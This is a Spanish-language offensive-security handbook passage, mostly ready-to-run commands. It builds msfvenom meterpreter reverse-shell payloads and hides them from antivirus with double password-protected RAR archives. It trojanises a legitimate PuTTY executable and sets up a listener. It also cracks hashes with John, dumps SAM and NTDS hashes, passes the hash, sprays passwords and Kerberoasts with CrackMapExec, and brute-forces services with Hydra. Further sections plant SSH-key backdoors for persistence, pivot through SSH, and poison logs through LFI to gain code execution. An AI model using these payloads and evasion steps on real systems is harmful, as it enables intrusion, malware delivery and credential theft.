searchsploit -t Nagios3 --exclude=".py"

Agregar exploits a metasploit (cargar exploits a metasploit)

Ruta de metasploit

ls /usr/share/metasploit-framework/
Buscamos el exploit que necesitamos que este escrito en ruby .rb ya sea en internet o en
searchsploit.

searchsploit [Link]
searchsploit -m [Link]

Luego lo copiamos y pegamos en la ruta que deseamos.

cp [Link] exploit/php/webapps/50064

Otro Ejemplo de ruta

/usr/share/metasploit-framework/modules/exploits/unix/webapp/

Iniciamos metasploit con msfconsole y luego agregamos el exploit nuevo con el siguiente
comando, con esto ya podremos usar el exploit.

reload_all

Ahora podremos usar el exploit agregado manualmente a metasploit

use exploit/php/webapps/[Link]

Firewall y evasión IDS/IPS (Payloads)

Las técnicas de evasión en ciberseguridad se enfocan en evitar la detección por parte de

software antivirus, que generalmente utiliza métodos basados en firmas para identificar
código malicioso. Sin embargo, simplemente codificar las cargas útiles no es suficiente para
evadir todos los productos AV. Herramientas como MSF6 (msfconsole) ahora permiten
canalizar la comunicación cifrada con AES, lo que ayuda a evitar la detección por IDS/IPS.
A pesar de esto, las cargas útiles pueden ser bloqueadas si se detectan firmas conocidas
antes de ejecutarse. Para contrarrestar esto, msfvenom ofrece la opción de utilizar plantillas
ejecutables, permitiendo incrustar código malicioso en programas legítimos y reducir las
posibilidades de detección mediante la confusión del código malicioso. Además, se
pueden emplear técnicas como la doble codificación o el uso de dobles credenciales para
añadir una capa adicional de evasión, complicando aún más la detección por parte de
los sistemas de seguridad.

Generando carga útil

msfvenom windows/x86/meterpreter_reverse_tcp LHOST=[Link] LPORT=8080 -k -e

x86/shikata_ga_nai -a x86 --platform windows -o ~/[Link] -i 5

Veremos algo como lo siguiente si hacemos un cat al archivo [Link], si se pasa por virus total
lo detectaran algunos AV (Antivirus).

Sin embargo, podemos hacer la doble codificación para que lo detecten menos o no lo
detecten.
Si pasamos el archivo [Link] tal como está por virustotal podemos ver que 12 de 63 lo han
detectado como virus, ahora mejoremos esto con la doble codificación ¡para que no lo
detecten!

Archivar la carga útil (Cifrado 1)

wget [Link]
tar -xzvf [Link] && cd rar
rar a ~/[Link] -p ~/[Link]

Luego de ingresar la contraseña que deseamos y confirmarla nos debe aparecer un [Link]
en la carpeta root (donde lo creamos).

Eliminación de la extensión .RAR

mv [Link] test

Archivar la carga útil nuevamente (Cifrado 2)

En la carpeta root (Donde tenemos almacenado el [Link] para que quedara solo como
test) ejecutamos el siguiente comando e ingresamos otras credenciales con las que
deseamos cifrar el archivo.
 rar a [Link] -p test

Eliminación de la extensión .RAR (Nuevamente)

Con el comando anterior se nos crea el archivo [Link] que es el archivo final, ahora
solamente quitamos la extensión .rar para que quede únicamente con el nombre test2.

mv [Link] test2

Con lo anterior ya tenemos nuestro Backdoor listo, en la imagen siguiente vemos como al
montar el archivo infectado a virustotal únicamente un solo antivirus detecto el malware,
para este caso Acronis es la única marca que detecto el Backdoor.

Ahora un .exe

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=[Link] LPORT=8080 -e

x64/xor_dynamic -i 5 -f exe -o ~/[Link]
rar a ~/[Link] -p123456 ~/[Link]
mv ~/[Link] ~/test64
rar a ~/test64_2.rar -pabcdef ~/test64
mv ~/test64_2.rar ~/test64_2

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set LHOST [Link]
set LPORT 8080
exploit

En la victima
 unrar x test64_2
unrar x test64
./[Link]

Insertar el payload en una aplicación legítima (PUTTY)

Descarga un ejecutable pequeño y legítimo, como [Link]

wget [Link] -O /path/to/[Link]

Utiliza msfvenom para incrustar el payload [Link] (final_payload.exe) en [Link]

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=[Link] LPORT=8080 -e

x64/xor_dynamic -i 5 -x /path/to/[Link] -k -f exe -o /path/to/final_payload.exe

Cifrarlo con doble password

rar a ~/[Link] -p123456 ~/[Link]

mv ~/ [Link] ~/putty
rar a ~/[Link] -pabcdef ~/putty
mv ~/[Link] ~/putty2

Metasploit a la escucha.

use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set LHOST [Link]
set LPORT 8080
exploit

Nota importante

Donde putty2 es el archivo final, tener en cuenta que el doble cifrado ayuda a evadir
firewalls IDS/IPS de forma efectiva, pero en pruebas locales al ejecutar el putty2 (Carga útil
final .exe) si el windows defender esta en análisis de tiempo real, en mi caso lo detecto, pero
al tener el defender activo, pero no en tiempo real, el payload funciono y pudo crear el
shell reverso.
Explotación y movimiento lateral
 Password Attacks (ATAQUES DE CONTRASEÑA)
Validación de correos hackeados

Personalmente pienso que [Link] es mejor ya que fuera de que te dice si ha sido
comprometido tu correo te muestra en que paginas fue la filtración e incluso te muestra las
credenciales del correo, si han sido filtradas.

[Link]
[Link]
Linux

Como ya sabemos, los sistemas basados en Linux manejan todo en forma de archivo. En
consecuencia, las contraseñas también se almacenan cifradas en un archivo. Este archivo
se llama shadow y se encuentra en /etc/shadow y forma parte del sistema de gestión de
usuarios de Linux. Además, estas contraseñas suelen almacenarse en formato hashes. Un
ejemplo puede verse así:

El cifrado de la contraseña en este archivo tiene el siguiente formato:

IDENTIFICACIÓN Algoritmo hash criptográfico

$1$ MD5
$2a$ Blowfish
$5$ SHA-256
$6$ SHA-512
$sha1$ SHA1crypt
$y$ Yescrypt
$gy$ Gost-yescrypt
$7$ Scrypt

Algunos archivos más pertenecen al sistema de gestión de usuarios de Linux. Los otros dos
archivos son /etc/passwd y /etc/group. En el pasado, la contraseña cifrada se almacenaba
junto con el nombre de usuario en el archivo /etc/passwd, pero esto se reconocía cada
vez más como un problema de seguridad porque todos los usuarios del sistema pueden ver
el archivo y debe ser legible. El archivo /etc/shadow sólo puede ser leído por el usuario root.

Archivo Passwd
El campo x de contraseña indica que la contraseña cifrada está en el archivo /etc/shadow.
Sin embargo, la redirección al archivo /etc/shadow no hace que los usuarios del sistema
sean invulnerables porque si los derechos de este archivo se configuran incorrectamente,
el archivo puede manipularse de modo que el usuario root no necesite escribir una
contraseña para iniciar sesión. El campo vacío significa que podemos iniciar sesión con el
nombre de usuario sin ingresar una contraseña.

LSASS

El Servicio del Subsistema de Autoridad de Seguridad Local (LSASS) es una colección de

muchos módulos y tiene acceso a todos los procesos de autenticación que se pueden
encontrar en %SystemRoot%\System32\[Link]. Este servicio es responsable de la política
de seguridad del sistema local, la autenticación de usuarios y el envío de registros de
auditoría de seguridad al archivo Event log. En otras palabras, es la bóveda para los
sistemas operativos basados en Windows.

Paquetes de autenticación Descripción

[Link] El servicio LSA Server aplica políticas de
seguridad y actúa como administrador de
paquetes de seguridad para LSA. El LSA
contiene la función Negociar, que
selecciona el protocolo NTLM o Kerberos
después de determinar qué protocolo
tendrá éxito.
Msv1_0.dll Paquete de autenticación para inicios de
sesión en máquinas locales que no
requieren autenticación personalizada.
[Link] El Administrador de cuentas de seguridad
(SAM) almacena cuentas de seguridad
locales, aplica políticas almacenadas
localmente y admite API.
[Link] Paquete de seguridad cargado por LSA
para la autenticación basada en Kerberos
en una máquina.
[Link] Servicio de inicio de sesión basado en red.
[Link] Esta biblioteca se utiliza para crear nuevos
registros y carpetas en el registro de
Windows.
NTDS

Es muy común encontrarnos con entornos de red donde los sistemas Windows están unidos
a un dominio de Windows. Esto es común porque facilita a los administradores la gestión de
todos los sistemas propiedad de sus respectivas organizaciones (administración
centralizada). En estos casos, los sistemas Windows enviarán todas las solicitudes de inicio
de sesión a controladores de dominio que pertenecen al mismo bosque de Active Directory.
Cada controlador de dominio aloja un archivo llamado [Link] que se mantiene
sincronizado en todos los controladores de dominio con la excepción de los controladores
de dominio de solo lectura. [Link] es un archivo de base de datos que almacena los datos
en Active Directory, que incluye, entre otros:

• Cuentas de usuario (hash de nombre de usuario y contraseña)

• Cuentas grupales
• cuentas de computadora
• Objetos de política de grupo

John the Ripper

John the Ripper (JTR o john) es una herramienta de pentesting esencial que se utiliza para
comprobar la seguridad de las contraseñas y descifrar contraseñas cifradas (o hash)
utilizando fuerza bruta o ataques de diccionario.

Tecnologías de cifrado

Tecnología de cifrado Descripción

UNIX crypt(3) Crypt(3) es un sistema de cifrado UNIX
tradicional con una clave de 56 bits.
Traditional DES-based El cifrado basado en DES utiliza el algoritmo
del estándar de cifrado de datos para
cifrar los datos.
bigcrypt Bigcrypt es una extensión del cifrado
tradicional basado en DES. Utiliza una clave
de 128 bits.
BSDI extended DES-based El cifrado extendido basado en DES BSDI es
una extensión del cifrado tradicional
basado en DES y utiliza una clave de 168
bits.
FreeBSD MD5-based(Linux y Cisco) El cifrado basado en FreeBSD MD5 utiliza el
algoritmo MD5 para cifrar datos con una
clave de 128 bits.
OpenBSD Blowfish-based El cifrado basado en OpenBSD Blowfish
utiliza el algoritmo Blowfish para cifrar datos
con una clave de 448 bits.
Kerberos/AFS Kerberos y AFS son sistemas de
autenticación que utilizan cifrado para
garantizar una comunicación segura entre
entidades.
 Windows LM El cifrado de Windows LM utiliza el algoritmo
estándar de cifrado de datos para cifrar
datos con una clave de 56 bits.
DES-based tripcodes Los códigos de viaje basados en DES se
utilizan para autenticar a los usuarios según
el algoritmo del estándar de cifrado de
datos.
SHA-crypt hashes Los hash SHA-crypt se utilizan para cifrar
datos con una clave de 256 bits y están
disponibles en versiones más recientes de
Fedora y Ubuntu.
SHA-crypty SUNMD5 hashes(Solaris) Los hashes SHA-crypt y SUNMD5 utilizan los
algoritmos SHA-crypt y MD5 para cifrar
datos con una clave de 256 bits y están
disponibles en Solaris.
... y muchos más.

Métodos de ataque

Ataques de diccionario

Los ataques de diccionario implican el uso de una lista pregenerada de palabras y frases
(conocida como diccionario) para intentar descifrar una contraseña. Esta lista de palabras
y frases suele obtenerse de diversas fuentes, como diccionarios disponibles públicamente,
contraseñas filtradas o incluso adquiridas en empresas especializadas. Luego, el diccionario
se usa para generar una serie de cadenas que luego se usan para comparar con las
contraseñas hash. Si se encuentra una coincidencia, la contraseña se descifra,
proporcionando al atacante acceso al sistema y a los datos almacenados en él. Este tipo
de ataque es muy eficaz. Por lo tanto, es esencial tomar las medidas necesarias para
garantizar que las contraseñas se mantengan seguras, como usar contraseñas complejas y
únicas, cambiarlas periódicamente y utilizar autenticación de dos factores.

Ataques de fuerza bruta

Los ataques de fuerza bruta implican intentar todas las combinaciones imaginables de
caracteres que podrían formar una contraseña. Este es un proceso extremadamente lento
y, por lo general, solo se recomienda utilizar este método si no hay otras alternativas.
También es importante tener en cuenta que cuanto más larga y compleja sea la
contraseña, más difícil será descifrarla y más tiempo llevará agotar todas las
combinaciones. Por este motivo, es muy recomendable que las contraseñas tengan al
menos 8 caracteres de longitud, con una combinación de letras, números y símbolos.

Rainbow Table Attacks

Los ataques de tabla Rainbow implican el uso de una tabla precalculada de hashes y sus
correspondientes contraseñas de texto sin formato, que es un método mucho más rápido
que un ataque de fuerza bruta. Sin embargo, este método está limitado por el tamaño de
la tabla del arco iris: cuanto más grande sea la tabla, más contraseñas y hashes podrá
almacenar. Además, debido a la naturaleza del ataque, es imposible utilizar tablas de
arcoíris para determinar el texto sin formato de los hashes que aún no están incluidos en la
tabla. Como resultado, los ataques a la tabla arcoíris solo son efectivos contra los hashes
que ya están presentes en la tabla, por lo que cuanto más grande sea la tabla, más exitoso
será el ataque.

Modos de craqueo

Single Crack Mode es uno de los modos John más comunes que se utilizan al intentar
descifrar contraseñas utilizando una lista de contraseñas única. Es un ataque de fuerza
bruta, lo que significa que se prueban todas las contraseñas de la lista, una por una, hasta
encontrar la correcta. Este método es la forma más básica y sencilla de descifrar
contraseñas y, por lo tanto, es una opción popular para quienes desean obtener acceso a
un sistema seguro. Sin embargo, está lejos de ser el método más eficaz, ya que puede llevar
un tiempo indefinido descifrar una contraseña, dependiendo de la longitud y complejidad
de la contraseña en cuestión. La sintaxis básica del comando es:

Single Crack Mode (Modo de grieta única)

john --format=<hash_type> <hash or hash_file>

Por ejemplo, si tenemos un archivo hashes_to_crack.txt cuyo nombre contiene SHA-

256hashes, el comando para descifrarlos sería:

john --format=sha256 hashes_to_crack.txt

Cracking with John (Cracking con John)

Formato hash Comando de ejemplo Descripción

afs john --format=afs Hashes de contraseña AFS
hashes_to_crack.txt (Andrew File System)
bfegg john --format=bfegg hashes bfegg utilizados en los
hashes_to_crack.txt robots IRC Eggdrop
bf john --format=bf Hashes de cripta(3) basados en
hashes_to_crack.txt Blowfish
bsdi john --format=bsdi hashes de cripta BSDi (3)
hashes_to_crack.txt
crypt(3) john --format=crypt Hashes de cripta (3)
hashes_to_crack.txt tradicionales de Unix
des john --format=des Hashes de cripta(3)
hashes_to_crack.txt tradicionales basados en DES
dmd5 john --format=dmd5 Hashes de contraseña DMD5
hashes_to_crack.txt (Dragonfly BSD MD5)
dominosec john --format=dominosec Hashes de contraseña de IBM
hashes_to_crack.txt Lotus Domino 6/7
EPiServer SID hashes john --format=episerver Hashes de contraseña
hashes_to_crack.txt EPiServer SID (identificador de
seguridad)
hdaa john --format=hdaa Hashes de contraseña hdaa
hashes_to_crack.txt utilizados en Openwall
GNU/Linux
hmac-md5 john --format=hmac-md5 hashes de contraseña hmac-
hashes_to_crack.txt md5
hmailserver john --format=hmailserver hashes de contraseña del
hashes_to_crack.txt servidor hmail
ipb2 john --format=ipb2 Hashes de contraseña de
hashes_to_crack.txt Invision Power Board 2
krb4 john --format=krb4 Hashes de contraseña de
hashes_to_crack.txt Kerberos 4
krb5 john --format=krb5 Hashes de contraseña de
hashes_to_crack.txt Kerberos 5
LM john --format=LM Hashes de contraseña de LM
hashes_to_crack.txt (Lan Manager)
lotus5 john --format=lotus5 Hashes de contraseña de Lotus
hashes_to_crack.txt Notes/Domino 5
mscash john --format=mscash Hashes de contraseña de MS
hashes_to_crack.txt Cache
mscash2 john --format=mscash2 Hashes de contraseña de MS
hashes_to_crack.txt Cache v2
mschapv2 john --format=mschapv2 Hashes de contraseña de MS
hashes_to_crack.txt CHAP v2
mskrb5 john --format=mskrb5 Hashes de contraseña de MS
hashes_to_crack.txt Kerberos 5
mssql05 john --format=mssql05 Hashes de contraseña de MS
hashes_to_crack.txt SQL 2005
mssql john --format=mssql hashes de contraseña de MS
hashes_to_crack.txt SQL
mysql-fast john --format=mysql-fast Hashes de contraseña rápidos
hashes_to_crack.txt de MySQL
MySQL john --format=mysql hashes de contraseña de
hashes_to_crack.txt MySQL
mysql-sha1 john --format=mysql-sha1 Hashes de contraseña MySQL
hashes_to_crack.txt SHA1
NETLM john --format=netlm Hashes de contraseña de
hashes_to_crack.txt NETLM (NT LAN Manager)
NETLMv2 john --format=netlmv2 Hashes de contraseña de
hashes_to_crack.txt NETLMv2 (NT LAN Manager
versión 2)
NETNTLM john --format=netntlm Hashes de contraseña de
hashes_to_crack.txt NETNTLM (NT LAN Manager)
NETNTLMv2 john --format=netntlmv2 Hashes de contraseña de
hashes_to_crack.txt NETNTLMv2 (NT LAN Manager
versión 2)
NEThalfLM john --format=nethalflm Hashes de contraseña de
hashes_to_crack.txt NEThalfLM (NT LAN Manager)
md5ns john --format=md5ns hashes de contraseña md5ns
hashes_to_crack.txt (espacio de nombres MD5)
nsldap john --format=nsldap Hashes de contraseña nsldap
hashes_to_crack.txt (OpenLDAP SHA)
ssha john --format=ssha hashes de contraseña ssha
hashes_to_crack.txt (SHA salado)
nt john --format=nt Hashes de contraseña de NT
hashes_to_crack.txt (Windows NT)
openssha john --format=openssha Hashes de contraseña de clave
hashes_to_crack.txt privada OPENSSH
oracle11 john --format=oracle11 Hashes de contraseña de
hashes_to_crack.txt Oracle 11
oracle john --format=oracle hashes de contraseña de
hashes_to_crack.txt Oracle
pdf john --format=pdf Hashes de contraseña de PDF
hashes_to_crack.txt (formato de documento
portátil)
phpass-md5 john --format=phpass-md5 Hashes de contraseña PHPass-
hashes_to_crack.txt MD5 (marco de hashing de
contraseñas PHP portátil)
phps john --format=phps hashes de contraseña PHPS
hashes_to_crack.txt
pix-md5 john --format=pix-md5 Hashes de contraseña de Cisco
hashes_to_crack.txt PIX MD5
po john --format=po Hashes de contraseña de Po
hashes_to_crack.txt (Sybase SQL Anywhere)
rar john --format=rar Hashes de contraseña RAR
hashes_to_crack.txt (WinRAR)
raw-md4 john --format=raw-md4 Hashes de contraseña MD4 sin
hashes_to_crack.txt formato
raw-md5 john --format=raw-md5 Hashes de contraseña MD5 sin
hashes_to_crack.txt procesar
raw-md5-unicode john --format=raw-md5- Hashes de contraseña Unicode
unicode hashes_to_crack.txt MD5 sin formato
raw-sha1 john --format=raw-sha1 Hashes de contraseña SHA1
hashes_to_crack.txt sin procesar
raw-sha224 john --format=raw-sha224 Hashes de contraseña SHA224
hashes_to_crack.txt sin procesar
raw-sha256 john --format=raw-sha256 Hashes de contraseña SHA256
hashes_to_crack.txt sin procesar
raw-sha384 john --format=raw-sha384 Hashes de contraseña SHA384
hashes_to_crack.txt sin procesar
raw-sha512 john --format=raw-sha512 Hashes de contraseña SHA512
hashes_to_crack.txt sin procesar
salted-sha john --format=salted-sha Hashes de contraseña salted-
hashes_to_crack.txt sha
 sapb john --format=sapb Hashes de contraseña de SAP
hashes_to_crack.txt CODVN B (BCODE)
sapg john --format=sapg Hashes de contraseña de SAP
hashes_to_crack.txt CODVN G (PASSCODE)
sha1-gen john --format=sha1-gen Hashes de contraseña SHA1
hashes_to_crack.txt genéricos
skey john --format=skey Hashes S/Key (contraseña de
hashes_to_crack.txt un solo uso)
ssh john --format=ssh Hashes de contraseña SSH
hashes_to_crack.txt (Secure Shell)
sybasease john --format=sybasease Hashes de contraseña de
hashes_to_crack.txt Sybase ASE
xsha john --format=xsha hashes de contraseña xsha
hashes_to_crack.txt (SHA extendido)
zip john --format=zip Hashes de contraseña ZIP
hashes_to_crack.txt (WinZip)

Wordlist Mode - Modo de lista de palabras (Ataque de diccionario)

Wordlist Mode se utiliza para descifrar contraseñas utilizando múltiples listas de palabras. Es
un ataque de diccionario, lo que significa que probará todas las palabras de las listas una
por una hasta encontrar la correcta.

El flag --rules es extremadamente útil para expandir y transformar una lista de palabras,
aumentando así las posibilidades de romper hashes mediante una mayor variedad de
combinaciones posibles.

Ejemplo del flag --rules

Palabra Original: password

Password1 PASSWORD passw0rd1

drowssap P@ssw0rd password!
Password! P@ssword password?
passwordpasswordpassword password1
password123 passw0rd

john --wordlist=<wordlist_file> --rules <hash_file>

john --wordlist=<wordlist_file> <hash_file>
john --wordlist=[Link] --rules=all --stdout > [Link] O solo --rules

Incremental Mode - Modo incremental

Incremental Mode es un modo John avanzado que se utiliza para descifrar contraseñas
utilizando un conjunto de caracteres. Es un ataque híbrido, lo que significa que intentará
hacer coincidir la contraseña probando todas las combinaciones posibles de caracteres
del conjunto de caracteres. Este modo es el más eficaz y, al mismo tiempo, el que consume
más tiempo de todos los modos John. Este modo funciona mejor cuando sabemos cuál
podría ser la contraseña, ya que probará todas las combinaciones posibles en secuencia,
comenzando por la más corta. Esto lo hace mucho más rápido que el ataque de fuerza
bruta, donde todas las combinaciones se prueban al azar. Además, el modo incremental
también se puede utilizar para descifrar contraseñas débiles, que pueden resultar difíciles
de descifrar con los modos estándar de John. La principal diferencia entre el modo
incremental y el modo de lista de palabras es la fuente de las adivinanzas de contraseña.
El modo incremental genera conjeturas sobre la marcha, mientras que el modo de lista de
palabras utiliza una lista predefinida de palabras. Al mismo tiempo, el modo de descifrado
único se utiliza para comparar una única contraseña con un hash.

john --incremental <hash_file>

El resultado se vería algo como lo siguiente (en la imagen se muestra que tardo 1 minuto
con 6 segundos para encontrar la contraseña “password”)

Usando este comando leeremos los hashes en el archivo hash especificado y luego
generaremos todas las combinaciones posibles de caracteres, comenzando con un solo
carácter e incrementando con cada iteración. Es importante tener en cuenta que este
modo highly resource intensive puede tardar mucho en completarse, dependiendo de la
complejidad de las contraseñas, la configuración de la máquina y la cantidad de
caracteres establecidos. Además, es importante tener en cuenta que el juego de
caracteres predeterminado está limitado a a-zA-Z0-9. Por lo tanto, si intentamos descifrar
contraseñas complejas con caracteres especiales, necesitamos utilizar un juego de
caracteres personalizado.

Descifrar archivos

También es posible descifrar incluso archivos cifrados o protegidos con contraseña con
John. Usamos herramientas adicionales que procesan los archivos proporcionados y
producen hashes con los que John puede trabajar. Detecta automáticamente los formatos
e intenta descifrarlos. La sintaxis para esto puede verse así:

Descifrando archivos con John

<tool> <file_to_crack> > [Link]

pdf2john server_doc.pdf > server_doc.hash
john server_doc.hash
john --wordlist=<[Link]> server_doc.hash
Además, podemos usar diferentes modos para esto con nuestras listas de palabras y reglas
personales.

Herramienta Descripción
pdf2john Convierte documentos PDF para John
ssh2john Convierte claves privadas SSH para John
mscash2john Convierte hashes de MS Cash para John
keychain2john Convierte archivos de llavero de OS X para
John
rar2john Convierte archivos RAR para John
pfx2john Convierte archivos PKCS#12 para John
truecrypt_volume2john Convierte volúmenes TrueCrypt para John
keepass2john Convierte bases de datos KeePass para
John (.kdbx) (sudo apt install keepassxc)
vncpcap2john Convierte archivos VNC PCAP para John
putty2john Convierte claves privadas PuTTY para John
zip2john Convierte archivos ZIP para John
hccap2john Convierte capturas de protocolo de
enlace WPA/WPA2 para John
office2john Convierte documentos de MS Office para
John
wpa2john Convierte protocolos de enlace
WPA/WPA2 para John

Se pueden encontrar más de estas herramientas la siguiente manera:

locate *2john*

Servicios de red (Network Services)

Servicios de red

Durante nuestras pruebas de penetración, cada red informática que encontremos tendrá
servicios instalados para administrar, editar o crear contenido. Todos estos servicios se alojan
mediante permisos específicos y se asignan a usuarios específicos. Además de las
aplicaciones web, estos servicios incluyen (pero no se limitan a):

ftp SMB NFS

IMAP/POP3 SSH MySQL/MSSQL
RDP WinRM VNC
Telnet SMTP LDAP

Buscar recursivamente desde consola Bash Windows:

dir /s /b flag.*
dir /s /b *.txt
CrackMapExec

Instalacion ([Link]

apt-get install -y libssl-dev libffi-dev python-dev build-essential

git clone --recursive [Link]
cd CrackMapExec
sudo apt-get update
sudo apt-get install --reinstall dbus
pip install --upgrade poetry --break-system-packages
pip install --upgrade pip --break-system-packages
poetry install
poetry run crackmapexec

Uso de CrackMapExec

crackmapexec <proto> <target-IP> -u <user or userlist> -p <password or passwordlist>

Mas ejemplos

La aparición de (Pwn3d!) es la señal de que lo más probable es que podamos ejecutar

comandos del sistema si iniciamos sesión con el usuario por fuerza bruta.

poetry run crackmapexec winrm [Link] -u [Link] -p [Link]

Si al ejecutar el comando anterior obtenemos el siguiente error:

Podremos ejecutar los siguientes comandos para solucionarlo

cp /root/.cme/workspaces/default/[Link] ~/cme_winrm.bak
rm -f /root/.cme/workspaces/default/[Link]

Algunos comandos: [Link]

tuts/cme/crackmapexec/

Ver donde hay conexión sin usuario y sin password

crackmapexec smb [Link]/24 -u '' -p ''

Enumeración de usuarios y descripciones

crackmapexec smb [Link]/24 --users

Podemos ver la política de contraseñas antes de intentar hacer fuerza bruta

crackmapexec smb [Link]/24 --pass-pol

Ver directorios o carpetas compartidas:

crackmapexec smb [Link]/24 -u 'a' -p '' --shares

crackmapexec smb [Link]/24 -u user -p passwd -d [Link] --shares

Verificar en una ip o toda la red si las credenciales user y pass son correctos

crackmapexec smb [Link] -u 'Administrador' -p'Password1'

crackmapexec smb [Link]/24 -u 'Administrador' -p'Password1'

Obtener los hashes de los usuarios en este caso del usuario Administrador.

crackmapexec smb [Link] -u 'Administrador' -p 'Password1' --sam

usamos --local-auth cuando el hash es local

crackmapexec smb [Link]/24 -u 'gomez' -H '51ef3c9d6f2b931942d2e5d299a043ad' --

local-auth

con los hashes obtenidos NTLM del comando anterior podremos hacer ahora PASS de
HASH con crackmapexec

crackmapexec smb [Link] -u 'otrousuario' -H'920aeHASH930aehashf'

crackmapexec smb [Link] -u 'otrousuario' -H'920aeHASH930aehashf' --sam
(obtendremos más hash de dicho usuario)

muestra los hashes de todos los usuarios registrados en el directorio activo de la empresa
auditada.

crackmapexec smb [Link] -u 'Administrador' -p 'Password1' --ntds vss

Habilitar RDP en los equipos víctimas:

crackmapexec smb [Link]/24 -u 'Administrador' -p 'Password1' -M rdp -o

action=enable

Password Spraying

crackmapexec smb [Link] -u 'usuario' -p [Link]

crackmapexec smb [Link] -u 'Administrador' -p [Link]
crackmapexec smb [Link]/24 -u 'Administrador' -p [Link]
A continuación, probaremos usuario=contraseña.
crackmapexec smb [Link]/24 -u [Link] -p [Link] --no-bruteforce
 User Spraying

colocando un diccionario de usuarios

crackmapexec smb [Link] -u [Link] -p [Link]

crackmapexec smb [Link] -u [Link] -p 'Contr4sen4*'

Obtener hashes - Kerberoasting

Con el siguiente comando conseguiremos hashes para posteriormente crackear con

hashcat, es necesario tener credenciales para el siguiente ataque.

crackmapexec ldap [Link] -u hodor -p 'hodor' -d [Link] --kerberoasting hashes

Evil-WinRM (Instalacion)

sudo gem install evil-winrm

Estructura del comando

evil-winrm -i <target-IP> -u <username> -p <password>

evil-winrm -i [Link] -u user -p password

Otras herramientas de ataque para fuerza bruta de d4t4s3c

RSAcrack
 suForce

Hydra (Ataques)

hydra -l user -P [Link] ssh://<IP> -I -t 64 -T 256 -V Ssh

hydra -L [Link] -P password. list ssh://<IP> Ssh
hydra -L [Link] -e ns -t 4 ssh://<IP> Ssh enum users
hydra -l user -P [Link] ftp:// <IP> ftp
hydra -l user -P passwds telnet://<ip>:23 -t 64 -V -I telnet
hydra -l user -P passwds [Link] -t 64 -V -I ftp
hydra -l user -P passwds smb://<ip>:445 -t 64 -V -I Smb
hydra -l user -P passwds smb://<ip>:445 -t 64 -V -I 2>/dev/null Smb
hydra -L [Link] -P [Link] smb://<ip> Smb
hydra -l user -P passwds rdp://<ip>:3389 -t 64 -V -I rdp
hydra -L [Link] -P [Link] rdp://<ip> -I -t 64 -V rdp
hydra -L [Link] -p 'Company01!' -f [Link] pop3 -I -t 64 -T 64 -V -o [Link] Pop3
hydra -l user@[Link] -P [Link] smtp://[Link] -I -w 60 -V -o SMTP (-w es la
[Link] velocidad)
Ataque Http mediante método Post
hydra -l admin -P [Link] <IP> http-post-form
"/my_weblog/[Link]:username=admin&password=^PASS^:Incorrect username or password" -
t 64 -I -V
 SSH

iniciar sesión en el sistema mediante el protocolo SSH

ssh user@[Link]

Modulo Metasploit para ssh (ataque de diccionario)

auxiliary/scanner/ssh/ssh_login
set user_file [Link]
set pass_file [Link]
set rhosts IPVictima
run

SSH conexiones:

chmod 600 id_rsa

ssh user@IP -i id_rsa
/home/user/.ssh/authorized_keys
/home/user/.ssh/id_rsa

llave=(id_rsa), user=(usuario-victima)

ssh -i llave user@ip-victima

Descargas SSH:

sudo systemctl enable ssh Habilitación del servidor SSH - Atacante

sudo systemctl start ssh Iniciamos el servidor SSH
netstat -lnpt Vemos si se ejecuta
scp root@IP-Atacante:/home/user/[Link] . Desde la victima descargamos el archivo

Persistencia con SSH backdoor

Generamos el id_rsa e id_rsa.pub en (Atacante y PC-victima (En caso de que no existan))

ssh-keygen Damos 2 Enter con campos vacíos

Copiamos todo el contenido de id_rsa.pub de root (PC Atacante) y lo pegamos en (PC

victima)

cat /root/.ssh/id_rsa.pub Copiamos del PC Atacante

nano id_rsa.pub Creamos y pegamos en PC victima en ~/.ssh/
cat id_rsa.pub >> PC victima en ruta ~/.ssh/
~/.ssh/authorized_keys
chmod 700 ~/.ssh Permisos al directorio
chmod 600 ~/.ssh/authorized_keys Permisos a la llave
nano /etc/ssh/sshd_config
 las siguientes líneas estén configuradas de esta manera:

PubkeyAuthentication yes
PasswordAuthentication no
systemctl restart sshd
sudo service ssh restart

Nos conectamos desde el pc atacante

ssh -i ~/.ssh/id_rsa root@<IPVictima>

PIVOTING CON SSH:

Verificamos el puerto:

tail -2 /etc/[Link]

Conexión (Pivoting):

Creamos el tunnel:
ssh -i llave user@IP-Victima -N -D [Link]:9050

Hacemos un escaneo con nmap sobre un pc de la red que no teníamos alcance, ósea
(la segunda red)
proxychains nmap -sT -p80 IP-Victima -Pn Importante usar el -sT y -Pn para el escaneo

Envenenamiento de registros del servidor – (Server Log Poisoning)

Apache
Linux Windows
/var/log/apache2/ C:\xampp\apache\logs\
Nginx
Linux Windows
/var/log/nginx/ C:\nginx\log\

Ejemplo de ruta para ver los logs: (Rutas – Archivos logs)

/var/log/apache2/[Link]
/var/log/nginx/[Link]
/var/log/mysql/[Link]
/var/log/postgresql/postgresql-<version>-[Link]
/var/log/[Link]
/var/log/syslog
/var/log/[Link] SSH
/var/log/tomcat/[Link]
C:\inetpub\logs\LogFiles\W3SVC1\u_ex<date>.log IIS
/SecLists-master/Discovery/Web-Content/[Link]
 /SecLists-master/Discovery/Web-Content/[Link]
[Link]
[Link]
Windows

(Explotación de log poisoning) Ejemplo de ataque: Server log poisoning

Teniendo en cuenta que existe la vulnerabilidad LFI en el servidor victima

(?language=/var/log/apache2/[Link]) y que podemos leer el archivo de logs
([Link]) intentemos mediante Burp Suite leer el registro de logs y mediante el
encabezado (User-Agente) inyectar comandos:

Como era de esperar, nuestro valor personalizado de User-Agent es visible en el archivo de

registro incluido. Ahora, podemos envenenar el encabezado User-Agent configurándolo en
un shell web PHP básico:
Como el registro ahora debería contener código PHP, la vulnerabilidad LFI debería ejecutar
este código y deberíamos poder obtener la ejecución remota del código. Podemos
especificar un comando a ejecutar con (&cmd=id):
(?language=/var/log/apache2/[Link]&cmd=id)

Otros registros del sistema que podríamos llegar a leer:

/var/log/[Link]
/var/log/mail
/var/log/[Link]

SSH LOG POISONING [Link]

Link: [Link]

Mediante la técnica de ataque LFI se encuentra que en la ruta /var/log/[Link] es posible

ver el contenido de los logs para el servicio ssh.

Se procede a realizar el ataque de ssh log poisoning con el módulo ssh_login de la

herramienta metasploit, configuramos la ip de la víctima, en username se inyecta el código
malicioso php en password se coloca cualquier contraseña (no es relevante) y se corre el
ataque.

Colocar (\) [\’cmd\’] para escaparlas comillas.

